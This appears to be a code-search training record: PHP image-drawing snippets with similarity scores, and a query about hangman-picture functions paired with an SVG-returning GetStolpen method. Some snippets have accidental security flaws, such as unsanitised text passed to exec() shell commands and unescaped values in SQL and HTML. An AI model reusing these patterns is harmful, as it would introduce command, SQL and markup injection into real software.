"function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)\n{\n if ($thick == 1) {\n return imageline($image, $x1, $y1, $x2, $y2, $color);\n }\n $t = $thick / 2 - 0.5;\n if ($x1 == $x2 || $y1 == $y2) {\n return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);\n }\n $k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q\n $a = $t / sqrt(1 + pow($k, 2));\n $points = array(\n round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),\n round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),\n round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),\n round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),\n );\n imagefilledpolygon($image, $points, 4, $color);\n return imagepolygon($image, $points, 4, $color);\n}",
"function placeTestImage($images){\n\t// place the test images on the PDF. \n\tglobal $pdf;\n\n\t/* // 4 boxes TEMP FOR PLACEMENT\n\t$pdf->Rect(18, 120, 278, 260, 'L');\n\t$pdf->Rect(316, 120, 278, 260, 'L');\n\t$pdf->Rect(18, 400, 278, 260, 'L');\n\t$pdf->Rect(316, 400, 278, 260, 'L'); */\n\n\t$x = array(18, 316, 18, 316);\n\t$y = array(120, 120, 400, 400);\n\n\tfor($i = 0; $i < count($images) && $i < 4; $i++){\n\t\t// for each 4 images, place as per $x and $y\n\t\t\n\t\t$img = pngtojpeg($images[$i]); \n\n\t\t$set = centerImage($img, $x[$i], $y[$i], 278, 260);\n\t\t$pdf->Image($img, $set['x'], $set['y'], $set['w'], $set['h']);\n\n\t}\n\t\n\t//$set = $this->centerImage($newjpeg1, 36, 36, 350, 325);\n\t//$this->Image($newjpeg1,$set['x'],$set['y'],$set['w'],$set['h']);\n\n}",
"public function drawInFile()\n {\n }",
"function img2map($width, $height, $point, $ext){\n\tif ($point->x && $point->y){\n\t\t$dpp_x = ($ext->maxx -$ext->minx)/$width;\n\t\t$dpp_y = ($ext->maxy -$ext->miny)/$height;\n\t\t$p[0] = $ext->minx + $dpp_x*$point->x;\n\t\t$p[1] = $ext->maxy - $dpp_y*$point->y;\n\t}\n\treturn $p;\n}",
"protected static function assembleParts(array $parts): array\n {\n $polygons = [];\n $count = count($parts);\n\n for ($i = 0; $i < $count; $i++) {\n if ($i % 2 !== 0) {\n [$end, $start] = explode(',', (string) $parts[$i]);\n $polygons[$i - 1] .= $end;\n $polygons[++$i] = $start.$parts[$i];\n } else {\n $polygons[] = $parts[$i];\n }\n }\n\n return $polygons;\n }",
"function displayProfilePic()\n {\n global $db;\n $image = $db->query(\"SELECT userProfilePic FROM users WHERE id= '{$_SESSION['id']}' \") ;\n return $image;\n }",
"function imageify($text){\n\t$text = str_replace('$', '\\$', $text);\n\t$text = str_replace('\"', '\\\"', $text);\n\n\t//select background image (31 to choose from)\n\t$background = \"images/\" . rand(1,31) . \".jpg\";\n\n\t//turn background image upside down\n\texec(\"convert $background -fill black -colorize 70% -rotate \\\"180\\\" background.jpg\");\n\n\t//create text with alpha background\n\t//(current size creates automatic 50px padding on all sides)\n\texec(\"convert -size 924x412 -background none -fill rgba\\(255,255,255,0.9\\) -font Helvetica-Bold -gravity West -interline-spacing 10 caption:\\\"$text\\\" -rotate \\\"180\\\" text.png\");\n\n\t//add them together\n\texec(\"composite -gravity center text.png background.jpg final.jpg\");\n\n\t//add the bug (Twitter handle) on top\n\texec(\"composite bug.png final.jpg final.jpg\");\n}",
"abstract protected function draw($regatta_name, $host, $date, Array $blocks);",
"function generate_line_diagramm($filename,$text,$data) {\n\n\t$y_max = 70 + sizeof($data) * 40;\n\n\t$image = imagecreatetruecolor(600,$y_max);\n\timagecolorallocate ($image, 255, 255, 255);\n\n\t// Colours\n\t$colours[\"black\"] = imagecolorallocate ($image, 0, 0, 0);\n\t$colours[\"grey\"] = imagecolorallocate($image,193,193,193);\n\t$colours[\"red\"] = imagecolorallocate($image,255,0,0);\n\t$colours[\"blue\"] = imagecolorallocate($image,202,218,249); \n\t$colours[\"white\"] = imagecolorallocate($image,255,255,255); \n\t\n\n\t// Texts\n\timagettftext($image, \"10\",\"0\",\"150\",\"10\",\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"top\"]);\n\timagettftext($image, \"10\",\"90\",\"10\",$y_max/2,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"left\"]);\n\timagettftext($image, \"10\",\"270\",\"590\",$y_max/2,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"right\"]);\n\timagettftext($image, \"10\",\"0\",\"300\",$y_max - 10,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$text[\"buttom\"]);\n\n\n\t// Background for middle\n\t$date = date(\"Y-m-d H:i\");\n\t\n\timagefilledrectangle($image, 22,22,580,$y_max-30, $colours[\"grey\"]); \n\timagerectangle($image,22,22,580,$y_max-30,$colours[\"black\"]);\n\timagettftext($image, \"8\",\"0\",\"400\",$y_max - 35,\"255\",\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",\"$date | lansuite 2.0 Chart\");\n\n\n\t\n\tforeach($data AS $these_data) {\n\t\n\t$overall_count = $overall_count + $these_data[\"count\"];\n\t\n\t}\n\t\n\tforeach($data AS $draw_this_line) {\n\t\n\t$x1 = 30;\n\t$y1 = $y1+40;\n\t$x2 = $x1 + (540*($draw_this_line[\"count\"]/$overall_count));\n\t$y2 = $y1 + 20;\n\t\n\t$red_value = 255 * round(($draw_this_line[\"count\"])/$overall_count,1);\n\t\n\t\n\t\n\t$myred = imagecolorallocate($image,255,$red_value,$red_value);\n\t\n\timagefilledrectangle($image,$x1 ,$y1,$x2,$y2, $myred); \n\timagerectangle($image,$x1,$y1,$x2,$y2,$colours[\"black\"]);\n\t\n\t$line_text = $draw_this_line[\"name\"] . \" (\" . round(100*(($draw_this_line[\"count\"]/$overall_count)),2) . \" %)\";\n\t\n\t\n\t\n\timagettftext($image, \"10\",\"0\",$x1 + 3 ,$y1 + 14,250,\"{$GLOBALS[\"config\"][\"environment\"][\"dir\"]}/ext_inc/fonts/arial.ttf\",$line_text);\n\t\t\t\t\t\t\n\t\n\t}\n\n\timagepng($image,$filename,\"100\");\n\n}",
"function DrawCharacters() {\n for ($i = 0; $i < strlen($this->sCode); $i++) {\n // select random font\n $sCurrentFont = $this->aFonts[array_rand($this->aFonts)];\n \n // select random colour\n if ($this->bUseColour) {\n //$iTextColour = imagecolorallocate($this->oImage, rand(0, 100), rand(0, 100), rand(0, 100));\n //hardcoding red color for easier identification, random colors resulted in difficult to read chars\n $iTextColour = imagecolorallocate($this->oImage, 255,0,0);\n \n if ($this->bCharShadow) {\n // shadow colour\n $iShadowColour = imagecolorallocate($this->oImage, rand(0, 100), rand(0, 100), rand(0, 100));\n }\n } else {\n $iRandColour = rand(0, 100);\n $iTextColour = imagecolorallocate($this->oImage, $iRandColour, $iRandColour, $iRandColour);\n \n if ($this->bCharShadow) {\n // shadow colour\n $iRandColour = rand(0, 100);\n $iShadowColour = imagecolorallocate($this->oImage, $iRandColour, $iRandColour, $iRandColour);\n }\n }\n \n // select random font size\n $iFontSize = rand($this->iMinFontSize, $this->iMaxFontSize);\n \n // select random angle\n $iAngle = rand(-30, 30);\n \n // get dimensions of character in selected font and text size\n $aCharDetails = imageftbbox($iFontSize, $iAngle, $sCurrentFont, $this->sCode[$i], array());\n \n // calculate character starting coordinates\n $iX = $this->iSpacing / 4 + $i * $this->iSpacing;\n $iCharHeight = $aCharDetails[2] - $aCharDetails[5];\n $iY = $this->iHeight / 2 + $iCharHeight / 4; \n \n // write text to image\n imagefttext($this->oImage, $iFontSize, $iAngle, $iX, $iY, $iTextColour, $sCurrentFont, $this->sCode[$i], array());\n \n if ($this->bCharShadow) {\n $iOffsetAngle = rand(-30, 30);\n \n $iRandOffsetX = rand(-5, 5);\n $iRandOffsetY = rand(-5, 5);\n \n imagefttext($this->oImage, $iFontSize, $iOffsetAngle, $iX + $iRandOffsetX, $iY + $iRandOffsetY, $iShadowColour, $sCurrentFont, $this->sCode[$i], array());\n }\n }\n }",
"function get_court_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'CourtPics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"function print_photo($table) {\n\n\t$html = \"<div class=\\\"div_class\\\" href=\\\"\" . $table['link'] . \"\\\">\\n\";\n\t$html .= \"\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n\n}",
"private function generateText($numPhotos) {\n\t\t$text = $numPhotos . ' ';\n\t\tif($numPhotos > 1) {\n\t\t\t$text .= 'neue Bilder';\n\t\t} else {\n\t\t\t$text .= 'neues Bild';\n\t\t}\n\t\treturn $text;\n\t}",
"public function generate($photo, $text, array $options = []);",
"function drawImage($filename){\n $img=imagecreatetruecolor(400,300);\n drawFromUserdata($img); //draw on $img\n imagepng($img, $filename); //output the $img to the given $filename as PNG\n imagedestroy($img); //destroy the $img\n }",
"function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)\n{\n if ($thick == 1) {\n return imageline($image, $x1, $y1, $x2, $y2, $color);\n }\n $t = $thick / 2 - 0.5;\n if ($x1 == $x2 || $y1 == $y2) {\n return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);\n }\n $k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q\n $a = $t / sqrt(1 + pow($k, 2));\n $points = array(\n round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),\n round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),\n round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),\n round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),\n );\n imagefilledpolygon($image, $points, 4, $color);\n return imagepolygon($image, $points, 4, $color);\n}",
"function draw_image($word, $img_width = 200, $img_height = 80)\n {\n $noise_img = @imagecreatefromjpeg($this->bg_image);\n $noise_width = imagesx($noise_img);\n $noise_height = imagesy($noise_img);\n\n /* resize the background image to fit the size of image output */\n $image = imagecreatetruecolor($img_width, $img_height);\n imagecopyresampled(\n $image,\n $noise_img,\n 0, 0, 0, 0,\n $img_width,\n $img_height,\n $noise_width,\n $noise_height\n );\n /* put text image into background image */\n imagecopymerge(\n $image,\n $this->draw_text($word, $img_width, $img_height),\n 0, 0, 0, 0,\n $img_width,\n $img_height,\n 50\n );\n return $image;\n }",
"function DrawCharacters() {\n// $log = new LOG();\n// $log->err(strlen($this->sCode));\n for ($i = 0; $i < $this->iNumChars; $i++) {\n // select random font\n $sCurrentFont = $this->aFonts[array_rand($this->aFonts)];\n\n // select random colour\n if ($this->bUseColour) {\n $iTextColour = imagecolorallocate($this->oImage, rand(0, 100), rand(0, 100), rand(0, 100));\n } else {\n $iRandColour = rand(0, 100);\n $iTextColour = imagecolorallocate($this->oImage, $iRandColour, $iRandColour, $iRandColour);\n }\n\n // select random font size\n $iFontSize = rand($this->iMinFontSize, $this->iMaxFontSize);\n\n // select random angle\n $iAngle = rand(-30, 30);\n if ($this->chinese) {\n $code = $this->sCode[$i * 3] . $this->sCode[$i * 3 + 1] . $this->sCode[$i * 3 + 2];\n } else\n $code = $this->sCode[$i];\n\n\n // get dimensions of character in selected font and text size\n $aCharDetails = imageftbbox($iFontSize, $iAngle, $sCurrentFont, $code, array());\n\n // calculate character starting cochrinates\n $iX = $this->iSpacing / 8 + $i * $this->iSpacing;\n $iCharHeight = $aCharDetails[2] - $aCharDetails[5];\n $iY = $this->iHeight / 2 + $iCharHeight / 4;\n\n // write text to image\n imagefttext($this->oImage, $iFontSize, $iAngle, $iX, $iY, $iTextColour, $sCurrentFont, $code, array());\n }\n }",
"public function picture(){\n }",
"private static function createCustomImage(Slide $slide, $params = array())\n {\n $height = Helper::hasArrayProperty('height', $params) ? $params['height'] : self::TEXT_HEIGHT;\n $width = Helper::hasArrayProperty('width', $params) ? $params['width'] : self::TEXT_WIDTH;\n $offset_x = Helper::hasArrayProperty('ox', $params) ? $params['ox'] : self::TEXT_OFFSET_X;\n $offset_y = Helper::hasArrayProperty('oy', $params) ? $params['oy'] : self::TEXT_OFFSET_Y;\n $name = Helper::hasArrayProperty('name', $params) ? $params['name'] : '';\n $description = Helper::hasArrayProperty('decription', $params) ? $params['decription'] : '';\n $path = Helper::hasArrayProperty('path', $params) ? $params['path'] : '';\n\n $shape = new Drawing\\File();\n $shape->setName($name)->setDescription($description);\n\n $shape = new Drawing\\File();\n $shape->setName($name);\n $shape->setDescription($description);\n $shape->setPath($path);\n\n if(!empty($width) && !empty($height)){\n $shape->setWidthAndHeight($width, $height);\n }else{\n $shape->setHeight($height);\n }\n\n $shape->setOffsetX($offset_x);\n $shape->setOffsetY($offset_y);\n $slide->addShape($shape);\n }",
"public static function getImagePath($plot);",
"function display_image($picture){\n\tglobal $uploaddirectory;\nreturn $uploaddirectory . DS . $picture;\n\n}",
"private function generateText($image, $object) {\n // Calculate text points\n $box = imagettfbbox($object[\"size\"], 0, $object[\"path\"], $object[\"text\"]);\n $width = $box[0] + $box[2];\n $height = -1 * ($box[5] - $box[1]);\n $dx = $dy = 0;\n\n if (isset($object[\"shadow\"])) {\n $dx = $object[\"shadow\"][\"left\"];\n $dy = $object[\"shadow\"][\"top\"];\n $width += $dx * 2;\n $height += $dy * 2;\n }\n\n // Create tmp layer\n $tmp = imagecreatetruecolor($width, $height);\n // Add transparent\n $transparent = imagecolorallocatealpha($tmp, 0, 0, 0, 127);\n imagefill($tmp, 0, 0, $transparent);\n imagesavealpha($tmp, true);\n\n if (isset($object[\"shadow\"])) {\n // Create color for text shadow\n $color = sscanf($object[\"shadow\"][\"color\"], \"#%02x%02x%02x\");\n $font_color = imagecolorallocate($tmp, $color[0], $color[1], $color[2]);\n // Add text to image\n imagettftext($tmp, $object[\"size\"], 0, $object[\"shadow\"][\"left\"] - $box[0] + $dx, $object[\"shadow\"][\"top\"] - $box[7] + $dy, $font_color, $object[\"path\"], $object[\"text\"]);\n }\n // Create color for text\n $font_color = imagecolorallocate($tmp, $object[\"color\"][0], $object[\"color\"][1], $object[\"color\"][2]);\n imagettftext($tmp, $object[\"size\"], 0, - $box[0] + $dx, - $box[7] + $dy, $font_color, $object[\"path\"], $object[\"text\"]);\n\n $this->imagecopymerge_alpha($image, $tmp, $object[\"left\"], $object[\"top\"], 0, 0, $object[\"opacity\"], $object[\"rotate\"]);\n\n // Destroy temporary image\n imagedestroy($tmp);\n\n return $image;\n }",
"function buildImageDisplay($imageArray) {\r\n $id = '<ul id=\"image-display\">';\r\n foreach ($imageArray as $image) {\r\n $id .= '<li>';\r\n $id .= \"<img src='$image[imgPath]' title='$image[invMake] $image[invModel] image on PHP Motors.com' alt='$image[invMake] $image[invModel] image on PHP Motors.com'>\";\r\n $id .= \"<p><a href='/phpmotors/uploads?action=delete&imgId=$image[imgId]&filename=$image[imgName]' title='Delete the image'>Delete $image[imgName]</a></p>\";\r\n $id .= '</li>';\r\n }\r\n $id .= '</ul>';\r\n return $id;\r\n }",
"public function drawPieChartImageInPdf(&$page,$imageoriginal,$top,$widthLimit,$heightLimit,$xLeft,$remove=''){\n try {\n $writer = new \\Zend\\Log\\Writer\\Stream(BP . '/var/log/order-report-helper-drawPieChartImageInPdf.log');\n $logger = new \\Zend\\Log\\Logger();\n $logger->addWriter($writer);\n\n $image = Zend_Pdf_Image::imageWithPath($imageoriginal);\n $width = $image->getPixelWidth();\n $height = $image->getPixelHeight();\n $ratio = $width / $height;\n if ($ratio > 1 && $width > $widthLimit) {\n $width = $widthLimit;\n $height = $width / $ratio;\n } elseif ($ratio < 1 && $height > $heightLimit) {\n $height = $heightLimit;\n $width = $height * $ratio;\n } elseif ($ratio == 1 && $height > $heightLimit) {\n $height = $heightLimit;\n $width = $widthLimit;\n }\n\n $yTop = $top - $height;\n $yBottom = $top;\n //$xLeft = 55;\n $xRight = $xLeft + $width;\n $page->drawImage($image, $xLeft, $yTop, $xRight, $yBottom);\n if ($remove != '') {\n @unlink($imageoriginal);\n }\n }catch (\\Exception $e){\n $logger->info($e->getMessage());\n }\n }",
"private function _text2img($text, $length) {\r\n\t\t$width = $height = $offset_x = $offset_y = 0;\r\n\t\t\r\n\t\t// Sets modifiers of horizontal offset between chars and height,\r\n\t\t// because rotated chars require a larger image, because the offset of rotation is not the center of the char.\r\n\t\t$modifier = 4;\r\n\t\t$height_modifier = $width_modifier = 0;\r\n\t\tif ($this->useRandomRotation) {\r\n\t\t\t$modifier = 10;\r\n\t\t\t$height_modifier = $modifier;\r\n\t\t\t$width_modifier = $length * 3;\r\n\t\t}\r\n\t\t\t\t\r\n\t\t// Rotation is always 0, because we first create an image and rotate it afterwards. That's much easier, then creating a rotated one.\r\n\t\t// Get the font height.\r\n\t\t$bounds = ImageTTFBBox($this->_size, 0, $this->_font, \"W\");\r\n\t\t$font_height = abs($bounds[7] - $bounds[1]);\r\n\t\t\r\n\t\t// Determine bounding box. Again, rotation is always 0.\r\n\t\t$bounds = ImageTTFBBox($this->_size, 0, $this->_font, $text);\r\n\t\t$width = abs($bounds[4] - $bounds[6]);\r\n\t\t$height = abs($bounds[7] - $bounds[1]);\r\n\t\t$offset_y = $font_height;\r\n\t\t$offset_x = 0;\r\n\t\t\r\n\t\t\r\n\t\t// Adjust padding if random rotation is used.\r\n\t\t($this->useRandomRotation) ? $this->_padding = $this->_size * 1.1 : null;\r\n\t\t\r\n\t\t// Create image resource.\r\n\t\t$this->_resource = imagecreate($width + ($this->_padding* 2) + 1 + $width_modifier, $height + ($this->_padding) + 1 - $height_modifier);\r\n\t\t\r\n\t\t// Set image colors. The order is important. Background first, then foreground. Otherwise you'll get strange results.\r\n\t\t$background = imagecolorallocate($this->_resource, $this->_bg_color['R'], $this->_bg_color['G'], $this->_bg_color['B']);\r\n\t\t$foreground = imagecolorallocate($this->_resource, $this->_fg_color['R'], $this->_fg_color['G'], $this->_fg_color['B']);\r\n\t\t\r\n\t\t$this->_setTransparency($background);\r\n\r\n\t\t// Enable interlacing\r\n\t\timageinterlace($this->_resource, true);\r\n\r\n\t\t// Add some blots.\r\n\t\t($this->addBlots) ? $this->_addBlots() : null;\r\n\t\t\r\n\t\t// Add some arcs.\r\n\t\t($this->addArcs) ? $this->_addArcs() : null;\r\n\t\t\r\n\t\t// Add some lines.\r\n\t\t($this->addLines) ? $this->_addLines() : null;\r\n\t\t\r\n\t\t// Add some noise.\r\n\t\t($this->addNoise) ? $this->_addNoise() : null;\r\n\t\t\r\n\r\n\t\t// Default rotation angle to 0 (e.g. assume no rotation).\r\n\t\t$rotate = 0;\r\n\t\tforeach (str_split($text) as $ch) {\r\n\t\t\t($this->useRandomColors) ? $foreground = $this->_setRandomColor() : null;\r\n\t\t\t\r\n\t\t\tif ($this->useRandomRotation) {\r\n\t\t\t\t// Get random rotation angle for each char.\r\n\t\t\t\t$rotate = $this->_getRandomAngle();\r\n\t\t\t\t\r\n\t\t\t\t// Adjust vertical offset when rotating in relation to angle.\r\n\t\t\t\t$offset_y = abs($rotate / ($rotate - 100));\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// Add char to image\r\n\t\t\timagettftext($this->_resource, $this->_size, $rotate, $offset_x + $this->_padding, $offset_y + $this->_padding, $foreground, $this->_font, $ch);\r\n\t\t\t\r\n\t\t\t// Increase horizontal offset, so the next char won't overwrite the previous one.\r\n\t\t\t$offset_x += round($this->_size - ($this->_size/ $modifier));\r\n\t\t}\r\n\t\t\r\n\t\t// Init PHP's output buffer ...\r\n\t\tob_start();\r\n\t\t\r\n\t\t// ... and finally rotate the generated image\r\n\t\tif ($this->_angle != 0) {\r\n\t\t\t$this->_resource= imagerotate($this->_resource, $this->_angle, $background);\r\n\t\t\t($this->useTransparency) ? $this->_setTransparency($background) : null;\r\n\t\t}\r\n\t\t\r\n\t\t// Write image to output buffer ...\r\n\t\timagepng($this->_resource);\r\n\t\t// ... and destroy the image resource afterwards.\r\n\t\timagedestroy($this->_resource);\r\n\t\t\r\n\t\t// Fetch the binary represantation of the image in the output buffer.\r\n\t\t$contents = ob_get_clean();\r\n\r\n\t\t// Generate HTML image tag using inline base64 encoded image data and return the result.\r\n\t\treturn '<img src=\"data:image/png;base64,' . base64_encode($contents) . '\"/>';\r\n\t}",
"function draw()\n {\n $img = imagecreatetruecolor(600, 600);\n\n // fill img with color (background)\n imagefill($img, 0, 0, imagecolorallocate($img, 220, 220, 220));\n\n //check color of border and get it in rgb format\n $rgb = HelperUtilities::getRgbColor($this->getBorder()->getColor());\n\n $red = $rgb['r'];\n $green = $rgb['g'];\n $blue = $rgb['b'];\n\n $color = imagecolorallocate($img, $red, $green, $blue);\n\n imagerectangle($img, 10, 10, $this->getSideLength(), $this->getSideLength(), $color);\n\n //output image\n $image_data_base64 = HelperUtilities::convertToBase64($img, get_class($this));\n HelperUtilities::writeBinaryDataInFile($image_data_base64, get_class($this));\n\n // Free up memory\n imagedestroy($img);\n\n header('Content-type: application/json');\n $response_array['status'] = 'success';\n $response_array['type'] = get_class($this);\n return $response_array;\n }",
"function affiche_image(){\n\t\tglobal $infos_id;\n\t\tif($infos_id['grade']==0){\n\t\t\treturn\"<img src='ressources/membre.png' title='Membre' alt='Membre'>\";\n\t\t}\n\t\tif($infos_id['grade']==10){\n\t\t\treturn \"<img src='ressources/users.png' title='Conseil' alt='Membre du conseil'>\";\n\t\t}\n\t\tif($infos_id['grade']==20){\n\t\t\treturn \"<img src='ressources/admin.png' title='Vice président' alt='Vice président'>\";\n\t\t}\n\t\tif($infos_id['grade']==30){\n\t\t\treturn \"<img src='ressources/boss.png' title='Président' alt='Président'>\";\n\t\t}\n\t}",
"function printErrorMsg( $error_string ){\n if($DEBUG){\n print \"$error_string\";\n }\n $xsize=500;\n $ysize=300;\n\n if(!$DEBUG){\n $error_image = ImageCreate($xsize, $ysize);\n $white = imagecolorallocate($error_image, 255, 255, 255);\n $black = imagecolorallocate($error_image, 0,0,0);\n ImageFill($error_image, 0, 0, $white);\n imagerectangle($error_image,0,0,$xsize-1,$ysize-1,$black);\n imagestring($error_image, 14, 5, 5, $error_string, $black);\n header(\"Content-type: image/png\");\n imagepng($error_image);\n imagedestroy($error_image);\n }\n exit(0);\n}",
"abstract function crop($properties);"
]
| [
"0.74199134",
"0.63711625",
"0.6322046",
"0.5444253",
"0.53858864",
"0.5377772",
"0.5304497",
"0.5296501",
"0.526404",
"0.52451044",
"0.52061594",
"0.51630133",
"0.51401675",
"0.51364833",
"0.51259434",
"0.5103936",
"0.50878245",
"0.50525945",
"0.5030009",
"0.50167924",
"0.5002883",
"0.49978498",
"0.4994759",
"0.49816358",
"0.49716312",
"0.49667612",
"0.49663854",
"0.49607596",
"0.4952385",
"0.4913454",
"0.49102172",
"0.49071586",
"0.48899448",
"0.48803866",
"0.48773584",
"0.4867447",
"0.48660168",
"0.4849715",
"0.48496094",
"0.48477527",
"0.4841177",
"0.4834843",
"0.48347422",
"0.48174557",
"0.48061368",
"0.47979656",
"0.4794784",
"0.4793296",
"0.47871825",
"0.4783268",
"0.47766107",
"0.4776277",
"0.47757885",
"0.47751677",
"0.47748014",
"0.4774578",
"0.47720262",
"0.4763467",
"0.47572872",
"0.4739246",
"0.47310564",
"0.47238442",
"0.4720194",
"0.47192284",
"0.47150254",
"0.4710541",
"0.47091737",
"0.47057512",
"0.47024298",
"0.46900848",
"0.46823502",
"0.46806657",
"0.46738172",
"0.46698803",
"0.46507135",
"0.4649358",
"0.46488532",
"0.46460494",
"0.46457103",
"0.46404296",
"0.46396694",
"0.46264228",
"0.46251503",
"0.46243024",
"0.4623533",
"0.46232215",
"0.4622896",
"0.4616783",
"0.4613814",
"0.46134257",
"0.4612435",
"0.46099254",
"0.46050584",
"0.460463",
"0.46036592",
"0.46027148",
"0.46015683",
"0.46008882",
"0.45957145",
"0.4589707",
"0.45889893"
]
| 0.0 | -1 |
end function GetKullen Create a part of the picture and return as string | public function GetStolpen() {
$html = <<<EOD
<!-- HÄR KOMMER STOLPEN -->
<g id="stolpen">
<line fill="none" stroke="#673B15" stroke-width="8" stroke-miterlimit="10" x1="114.649" y1="9.386" x2="206.216" y2="9.386"/>
<line fill="none" stroke="#673B15" stroke-width="2" stroke-miterlimit="10" x1="120.036" y1="46.626" x2="159.652" y2="9.386"/>
<line fill="#B07F48" stroke="#673B15" stroke-width="8" stroke-miterlimit="10" x1="120.036" y1="175.687" x2="120.036" y2="14.772"/>
</g>
EOD;
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getImageName();",
"function image_hwstring($width, $height)\n {\n }",
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"public function DrawPartsOfPicture($aNumberOfParts=9) {\r\n \r\n $html = $this->GetSvgHeader();\r\n switch ($aNumberOfParts) { \r\n case 0:\r\n return;\r\n break;\r\n case 1:\r\n $html .= $this->GetKullen();\r\n break;\r\n case 2:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n break;\r\n case 3:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n break;\r\n case 4:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud();\r\n break;\r\n case 5:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n break;\r\n case 6:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n break;\r\n case 7:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n break;\r\n case 8:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n break;\r\n case 9:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n $html .= $this->GetVansterBen(); \r\n break;\r\n }//end switch\r\n \r\n $html .= \"</svg>\";\r\n\r\n return $html; \r\n }",
"function display_graphic($piece)\n{\n}",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"protected function imageName() {}",
"public function getWebPicture();",
"private function getImg()\n\t{\n\t\t$buffer = ' ';\n\t\t\n\t\tif(!$this->aImg['sFilename'])\n\t\t\treturn $buffer;\n\t\t\n\t\t$buffer = '<img src=\"../../thumbs/'.$this->aImg['sFilename'].'\" />';\t\t\n\t\t\n\t\treturn $buffer;\n\t}",
"public function showImageFromGet() {\n\n\t\t// $imageFilename = UniteFunctionsRev::getGetVar(\"img\");\n\t\t$imageID = intval( UniteFunctionsRev::getGetVar( 'img' ) );\n\t\t$maxWidth = UniteFunctionsRev::getGetVar( 'w',-1 );\n\t\t$maxHeight = UniteFunctionsRev::getGetVar( 'h',-1 );\n\t\t$type = UniteFunctionsRev::getGetVar( 't','' );\n\n\t\t// set effect\n\t\t$effect = UniteFunctionsRev::getGetVar( 'e' );\n\t\t$effectArgument1 = UniteFunctionsRev::getGetVar( 'ea1' );\n\n\t\tif ( ! empty( $effect ) ) {\n\t\t\t$this->setEffect( $effect,$effectArgument1 ); }\n\n\t\t$this->showImageByID( $imageID );\n\t\techo 'sechs<br>';\n\t\t// $this->showImage($imageFilename,$maxWidth,$maxHeight,$type);\n\t}",
